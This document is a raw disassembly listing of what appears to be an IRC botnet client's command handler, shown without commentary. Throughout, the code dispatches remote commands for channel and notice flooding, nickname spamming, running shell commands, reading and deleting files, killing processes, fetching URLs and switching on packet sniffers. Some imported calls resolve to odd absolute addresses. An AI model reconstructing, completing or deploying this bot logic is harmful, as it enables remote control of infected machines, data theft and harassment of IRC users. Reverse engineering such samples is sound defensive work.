		push	[ebp+esi+var_88]
		call	sub_417E06
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B93C
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CB7
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_404CB7:				; CODE XREF: sub_401ACD+3173j
					; sub_401ACD+3179j ...
		push	edi
		push	offset dword_42B938
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D21
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D21
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_47F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_47F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404D21:				; CODE XREF: sub_401ACD+31F9j
					; sub_401ACD+3204j
		push	edi
		push	offset dword_42B920
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D8B
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D8B
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4AF4]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4AF4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B90C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404D8B:				; CODE XREF: sub_401ACD+3263j
					; sub_401ACD+326Ej
		push	edi
		push	offset aNt	; "nt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DF5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DF5
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404DF5:				; CODE XREF: sub_401ACD+32CDj
					; sub_401ACD+32D8j
		push	edi
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E5F
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E5F
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4FF8]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4FF8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404E5F:				; CODE XREF: sub_401ACD+3337j
					; sub_401ACD+3342j
		push	edi
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E9C
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404E9C
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404E9C:				; CODE XREF: sub_401ACD+33A1j
					; sub_401ACD+33ACj
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404ED9
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404ED9
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404ED9:				; CODE XREF: sub_401ACD+33DEj
					; sub_401ACD+33E9j
		push	edi
		push	offset aPartflood ; "partflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F1B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F1B
		push	offset dword_427620
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404F1B:				; CODE XREF: sub_401ACD+341Bj
					; sub_401ACD+3426j
		push	edi
		push	offset aPnick	; "pnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F92
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404F92
		nop
		call	near ptr 269083Ah
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B8]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B89C
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_17B8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404F92:				; CODE XREF: sub_401ACD+345Dj
					; sub_401ACD+3466j
		push	edi
		push	offset dword_42B888
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4050E9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4050E9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427620
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2670E97h
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2670E97h
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2670E97h
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4050E9:				; CODE XREF: sub_401ACD+34D4j
					; sub_401ACD+34E1j
		push	edi
		push	offset dword_42B884
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405181
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_405181
		nop
		call	near ptr 269083Ah
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B85C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 24h


loc_405181:				; CODE XREF: sub_401ACD+362Bj
					; sub_401ACD+3638j
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405289
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_405289
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2670E97h
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2670E97h
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_405289:				; CODE XREF: sub_401ACD+36C3j
					; sub_401ACD+36D2j
		push	edi
		push	offset aChgnick	; "chgnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4052CE
		lea	eax, [ebp+var_180C]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_180C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_4052CE:				; CODE XREF: sub_401ACD+37CBj
		push	edi
		push	offset aMsg	; "msg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4053C3
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4053C3
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	near ptr 2670E97h
		nop
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2670E97h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4053C3:				; CODE XREF: sub_401ACD+3810j
					; sub_401ACD+381Dj
		push	edi
		push	offset aNotice_0 ; "notice"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054B8
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054B8
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	near ptr 2670E97h
		nop
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2670E97h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4054B8:				; CODE XREF: sub_401ACD+3905j
					; sub_401ACD+3912j
		push	edi
		push	offset aCtcp	; "ctcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4055D9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4055D9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B814
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2670E97h
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7FC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2670E97h
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7E4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 2670E97h
		nop
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7E4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_4055D9:				; CODE XREF: sub_401ACD+39FAj
					; sub_401ACD+3A07j
		push	edi
		push	offset aMix	; "mix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405709
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405709
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B814
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2670E97h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 2670E97h
		nop
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2670E97h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_405709:				; CODE XREF: sub_401ACD+3B1Bj
					; sub_401ACD+3B28j
		push	edi
		push	offset aRegister ; "register"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40574D
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40574D
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_40574D:				; CODE XREF: sub_401ACD+3C4Bj
					; sub_401ACD+3C56j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40619B
		mov	[ebp+arg_18], offset dword_4D4A5C


loc_405769:				; CODE XREF: sub_401ACD+3CC0j
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax-4], 1
		jnz	short loc_40577F
		mov	eax, [eax]
		cmp	eax, ebx
		jbe	short loc_40577F
		push	eax
		call	dword_4CBA6C


loc_40577F:				; CODE XREF: sub_401ACD+3CA3j
					; sub_401ACD+3CA9j
		add	[ebp+arg_18], 210h
		cmp	[ebp+arg_18], offset dword_4DB17C
		jl	short loc_405769
		cmp	[ebp+var_8], ebx
		jnz	loc_40619B
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B784
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_40619B
; ---------------------------------------------------------------------------


loc_4057B7:				; CODE XREF: sub_401ACD+3151j
		push	[ebp+arg_8]
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aN	; "n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aJ	; "j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aPt	; "pt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aRaw	; "raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aKillthread ; "killthread"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aK	; "k"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aC_quit	; "c_quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_q	; "c_q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aC_rn	; "c_rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aPrefix	; "prefix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aPr	; "pr"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aOpen	; "open"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aO	; "o"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aServer	; "server"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aSe	; "se"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aDns	; "dns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aDn	; "dn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aKillproc ; "killproc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKp	; "kp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKill	; "kill"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aKi	; "ki"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aDel	; "del"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aGet	; "get"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aGt	; "gt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aList	; "list"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aLi	; "li"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aVisit	; "visit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aV	; "v"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aMirccmd	; "mirccmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aMirc	; "mirc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aCmd	; "cmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aCm	; "cm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aReadfile ; "readfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aRf	; "rf"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aPsniff	; "psniff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C9F
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C67
		push	20h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405B91
		push	offset dword_42B68C
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405B91:				; CODE XREF: sub_401ACD+40B8j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_F5C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED4], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_ED0], eax
		jnz	short loc_405BD3
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BD3
		mov	esi, [ebp+var_88]


loc_405BD3:				; CODE XREF: sub_401ACD+40E8j
					; sub_401ACD+40FEj
		push	esi
		lea	eax, [ebp+var_F58]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B65C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_ED8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F5C]
		push	ebx
		push	eax
		push	offset byte_412B61
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_ED8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_405C56


loc_405C40:				; CODE XREF: sub_401ACD+4187j
		cmp	[ebp+var_ECC], ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 2670E97h
		nop
		jmp	short loc_405C40
; ---------------------------------------------------------------------------


loc_405C56:				; CODE XREF: sub_401ACD+4171j
		nop
		call	near ptr 2680972h
		push	eax
		push	offset dword_42B620
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405C67:				; CODE XREF: sub_401ACD+40A8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	20h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C95
		push	eax
		push	offset dword_42B5E4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405C95:				; CODE XREF: sub_401ACD+41BBj
		push	offset dword_42B5B8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405C9F:				; CODE XREF: sub_401ACD+4093j
		push	[ebp+arg_8]
		push	offset aSniffer	; "sniffer"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DEF
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DB7
		push	21h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405CE1
		push	offset unk_42B590
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405CE1:				; CODE XREF: sub_401ACD+4208j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E40], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
